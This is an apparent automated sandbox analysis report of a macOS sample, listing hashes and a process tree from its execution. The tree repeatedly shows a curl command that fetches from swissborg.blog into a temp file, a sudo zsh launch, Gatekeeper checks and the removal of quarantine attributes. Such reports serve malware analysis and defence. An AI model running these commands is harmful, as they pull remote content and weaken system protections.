b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525

Analysis

max time kernel
1195s
max time network
1202s
platform
macos-10.15_amd64
resource
macos-20230831-en
resource tags

arch:amd64arch:i386image:macos-20230831-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
submitted
12-10-2023 23:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525
Size

167KB
MD5

a446402c1de5dfddd50b77a95fcfc671
SHA1

588d84953ae992c5de61d3774ce86e710ed42d29
SHA256

b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525
SHA512

324716bb221a21a22f24f9cd2ce0753ee2217826a285cb9dfffda376f1a3883d2836a9c20aea166312aa3be19d3f3506ac3029cfacb952e3f8b1c55a0fc5fd2b
SSDEEP

384:0OdY0sGwjT5K+v9jeja1mnVphxdjsEBPcTTbm2zKjDnj:0OdY0W9jeja1eVvxdjsEPSKjDnj

Score

1^/10

Malware Config

Signatures

/usr/sbin/spctl
/usr/sbin/spctl --status
1⤵
PID:651

/bin/sh
sh -c "sudo /bin/zsh -c \"/Users/run/b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525\""
1⤵
PID:652

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525\""
1⤵
PID:652

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525\""
1⤵
PID:652

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525
1⤵
PID:652

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525
1⤵
PID:652

/bin/zsh
/bin/zsh -c /Users/run/b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525
2⤵
PID:655

/bin/zsh
/bin/zsh -c /Users/run/b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525
2⤵
PID:655

/Users/run/b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525
/Users/run/b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525
2⤵
PID:655

/Users/run/b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525
/Users/run/b8c751694945bff749b6a0cd71e465747402cfd25b18dc233c336e417b3e1525
2⤵
PID:655

/usr/sbin/spctl
/usr/sbin/spctl --test-devid-status
1⤵
PID:653

/usr/bin/syslog
/usr/bin/syslog -s -k com.apple.message.domain com.apple.security.assessment.current_state com.apple.message.signature "assessments enabled" com.apple.message.signature2 "devid enabled" Message "Gatekeeper state assessments enabled/devid enabled"
1⤵
PID:654

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:658

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:658

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:658

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:679

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:679

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:679

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:681

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:681

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:681

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:684

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:684

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:684

/usr/bin/rsync
rsync --ignore-times --links --perms --recursive --times --delete-after "--include=/Contents/Frameworks/Google Chrome Framework.framework/Versions/Current" "--exclude=/Contents/Frameworks/Google Chrome Framework.framework/Versions/*" "--exclude=/Contents/Versions/*" "/tmp/KSInstallAction.IYGobc1qJS/m/Google Chrome.app/" "/Applications/Google Chrome.app"
1⤵
PID:689

/usr/bin/rsync
rsync --ignore-times --links --perms --recursive --times --delete-after "--include=/Contents/Frameworks/Google Chrome Framework.framework/Versions/Current" "--exclude=/Contents/Frameworks/Google Chrome Framework.framework/Versions/*" "--exclude=/Contents/Versions/*" "/tmp/KSInstallAction.IYGobc1qJS/m/Google Chrome.app/" "/Applications/Google Chrome.app"
1⤵
PID:689

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:692

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:692

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:692

/bin/rm
rm -f "/Applications/Google Chrome.app/.want_full_installer"
1⤵
PID:694

/bin/rm
rm -f "/Applications/Google Chrome.app/.want_full_installer"
1⤵
PID:694

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" CFBundleShortVersionString
1⤵
PID:696

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" CFBundleShortVersionString
1⤵
PID:696

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSVersion
1⤵
PID:698

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSVersion
1⤵
PID:698

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSUpdateURL
1⤵
PID:700

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSUpdateURL
1⤵
PID:700

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSChannelID
1⤵
PID:702

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSChannelID
1⤵
PID:702

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" CrProductDirName
1⤵
PID:704

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" CrProductDirName
1⤵
PID:704

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f "/Applications/Google Chrome.app"
1⤵
PID:705

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f "/Applications/Google Chrome.app"
1⤵
PID:705

/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksadmin
ksadmin --register --productid com.google.Chrome --version 116.0.5845.110 --xcpath "/Applications/Google Chrome.app" --url https://tools.google.com/service/update2 --tag universal --tag-path "/Applications/Google Chrome.app/Contents/Info.plist" --tag-key KSChannelID --brand-path "/Library/Google/Google Chrome Brand.plist" --brand-key KSBrandID --version-path "/Applications/Google Chrome.app/Contents/Info.plist" --version-key KSVersion
1⤵
PID:710

/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksadmin
ksadmin --register --productid com.google.Chrome --version 116.0.5845.110 --xcpath "/Applications/Google Chrome.app" --url https://tools.google.com/service/update2 --tag universal --tag-path "/Applications/Google Chrome.app/Contents/Info.plist" --tag-key KSChannelID --brand-path "/Library/Google/Google Chrome Brand.plist" --brand-key KSBrandID --version-path "/Applications/Google Chrome.app/Contents/Info.plist" --version-key KSVersion
1⤵
PID:710

/bin/ps
ps -ewwo "comm="
1⤵
PID:712

/bin/ps
ps -ewwo "comm="
1⤵
PID:712

/usr/bin/grep
grep -Fqx "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69/"
1⤵
PID:714

/usr/bin/grep
grep -Fqx "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69/"
1⤵
PID:714

/usr/bin/cut
cut -c 1-108
1⤵
PID:713

/usr/bin/cut
cut -c 1-108
1⤵
PID:713

/usr/sbin/lsof
lsof "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69/Google Chrome Framework"
1⤵
PID:716

/usr/sbin/lsof
lsof "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69/Google Chrome Framework"
1⤵
PID:716

/bin/rm
rm -rf "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69"
1⤵
PID:720

/bin/rm
rm -rf "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69"
1⤵
PID:720

/usr/sbin/chown
chown -Rh root:wheel "/Applications/Google Chrome.app"
1⤵
PID:721

/usr/sbin/chown
chown -Rh root:wheel "/Applications/Google Chrome.app"
1⤵
PID:721

/bin/chmod
chmod -R "a+rX,u+w,go-w" "/Applications/Google Chrome.app"
1⤵
PID:723

/bin/chmod
chmod -R "a+rX,u+w,go-w" "/Applications/Google Chrome.app"
1⤵
PID:723

/usr/libexec/xpcproxy
xpcproxy com.apple.StreamingUnzipService 190
1⤵
PID:724

/usr/bin/find
find "/Applications/Google Chrome.app" -type l -exec chmod -h "a+rX,u+w,go-w" "{}" +
1⤵
PID:725

/usr/bin/find
find "/Applications/Google Chrome.app" -type l -exec chmod -h "a+rX,u+w,go-w" "{}" +
1⤵
PID:725

/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/chmod
chmod -h "a+rX,u+w,go-w" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Default Apps" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/KeystoneRegistration" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/KeystoneRegistration" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/Helpers" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Helpers/GoogleUpdater.app/Contents/Helpers/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksadmin" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Libraries" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Google Chrome Framework" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Internet Plug-Ins" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Frameworks" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Helpers"
2⤵
PID:726

/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/chmod
chmod -h "a+rX,u+w,go-w" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Default Apps" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/KeystoneRegistration" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/KeystoneRegistration" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/Helpers" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Helpers/GoogleUpdater.app/Contents/Helpers/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksadmin" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Libraries" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Google Chrome Framework" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Internet Plug-Ins" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Frameworks" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Helpers"
2⤵
PID:726

/bin/chmod
chmod -h "a+rX,u+w,go-w" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Default Apps" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/KeystoneRegistration" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/KeystoneRegistration" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/Helpers" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Helpers/GoogleUpdater.app/Contents/Helpers/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksadmin" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Libraries" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Google Chrome Framework" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Internet Plug-Ins" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Frameworks" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Helpers"
2⤵
PID:726

/bin/chmod
chmod -h "a+rX,u+w,go-w" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Default Apps" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/KeystoneRegistration" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/KeystoneRegistration" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Frameworks/KeystoneRegistration.framework/Helpers" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/116.0.5845.110/Helpers/GoogleUpdater.app/Contents/Helpers/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksadmin" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Libraries" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Google Chrome Framework" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Internet Plug-Ins" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Frameworks" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Helpers"
2⤵
PID:726

/usr/bin/xattr
xattr -d -r com.apple.quarantine "/Applications/Google Chrome.app"
1⤵
PID:728

/usr/bin/xattr
xattr -d -r com.apple.quarantine "/Applications/Google Chrome.app"
1⤵
PID:728

/System/Library/PrivateFrameworks/StreamingZip.framework/Versions/A/XPCServices/com.apple.StreamingUnzipService.xpc/Contents/MacOS/com.apple.StreamingUnzipService
/System/Library/PrivateFrameworks/StreamingZip.framework/Versions/A/XPCServices/com.apple.StreamingUnzipService.xpc/Contents/MacOS/com.apple.StreamingUnzipService
1⤵
PID:724

/sbin/mount_msdos
/sbin/mount_msdos -o perm -o nobrowse /dev/disk1s1 /Volumes/firmwaresyncd.AFdz8L
1⤵
PID:727

/usr/bin/hdiutil
/usr/bin/hdiutil detach /tmp/KSInstallAction.IYGobc1qJS/m
1⤵
PID:731

/sbin/kextload
/sbin/kextload /System/Library/Extensions/msdosfs.kext
1⤵
PID:730

/sbin/umount
/sbin/umount /private/tmp/KSInstallAction.IYGobc1qJS/m
1⤵
PID:733

/sbin/umount
/sbin/umount /private/tmp/KSInstallAction.IYGobc1qJS/m
1⤵
PID:733

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:736

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:736

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:736

/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
1⤵
PID:738

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:745

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:745

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:745

/usr/libexec/xpcproxy
xpcproxy com.apple.mediaremoteagent
1⤵
PID:749

/System/Library/PrivateFrameworks/MediaRemote.framework/Support/mediaremoteagent
/System/Library/PrivateFrameworks/MediaRemote.framework/Support/mediaremoteagent
1⤵
PID:749

/usr/libexec/xpcproxy
xpcproxy com.apple.imfoundation.IMRemoteURLConnectionAgent 489
1⤵
PID:751

/System/Library/PrivateFrameworks/IMFoundation.framework/XPCServices/IMRemoteURLConnectionAgent.xpc/Contents/MacOS/IMRemoteURLConnectionAgent
/System/Library/PrivateFrameworks/IMFoundation.framework/XPCServices/IMRemoteURLConnectionAgent.xpc/Contents/MacOS/IMRemoteURLConnectionAgent
1⤵
PID:751

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:752

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:752

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:752

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:756

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:756

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:756

/usr/sbin/spctl
/usr/sbin/spctl --assess --type execute /Applications/OneDrive.app
1⤵
PID:758

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportCrash.Root
1⤵
PID:759

/System/Library/CoreServices/ReportCrash
/System/Library/CoreServices/ReportCrash daemon
1⤵
PID:759

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportMemoryException
1⤵
PID:760

/usr/libexec/ReportMemoryException
/usr/libexec/ReportMemoryException
1⤵
PID:760

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:761

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:761

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:761

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:763

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:763

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:763

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:767

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:767

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:767

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportCrash
1⤵
PID:769

/System/Library/CoreServices/ReportCrash
/System/Library/CoreServices/ReportCrash agent
1⤵
PID:769

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:770

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:770

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:770

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:773

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:773

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:773

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:775

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:775

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:775

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:777

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:777

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:777

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:779

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:779

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:779

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:782

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:782

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:782

/usr/libexec/xpcproxy
xpcproxy com.apple.mobile.keybagd
1⤵
PID:784

/usr/libexec/keybagd
/usr/libexec/keybagd -t 15
1⤵
PID:784

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:785

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:785

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:785

/usr/libexec/xpcproxy
xpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E
1⤵
PID:787

/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
1⤵
PID:787

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:788

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:788

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:788

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:790

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:790

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:790

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:792

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:792

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:792

/bin/sh
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:795

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:795

/bin/bash
sh -c "curl http://swissborg.blog/qwertyuiop/asdfghjkl >> \$TMPDIR/b.txt"
1⤵
PID:795

/usr/libexec/xpcproxy
xpcproxy com.apple.ViewBridgeAuxiliary
1⤵
PID:797

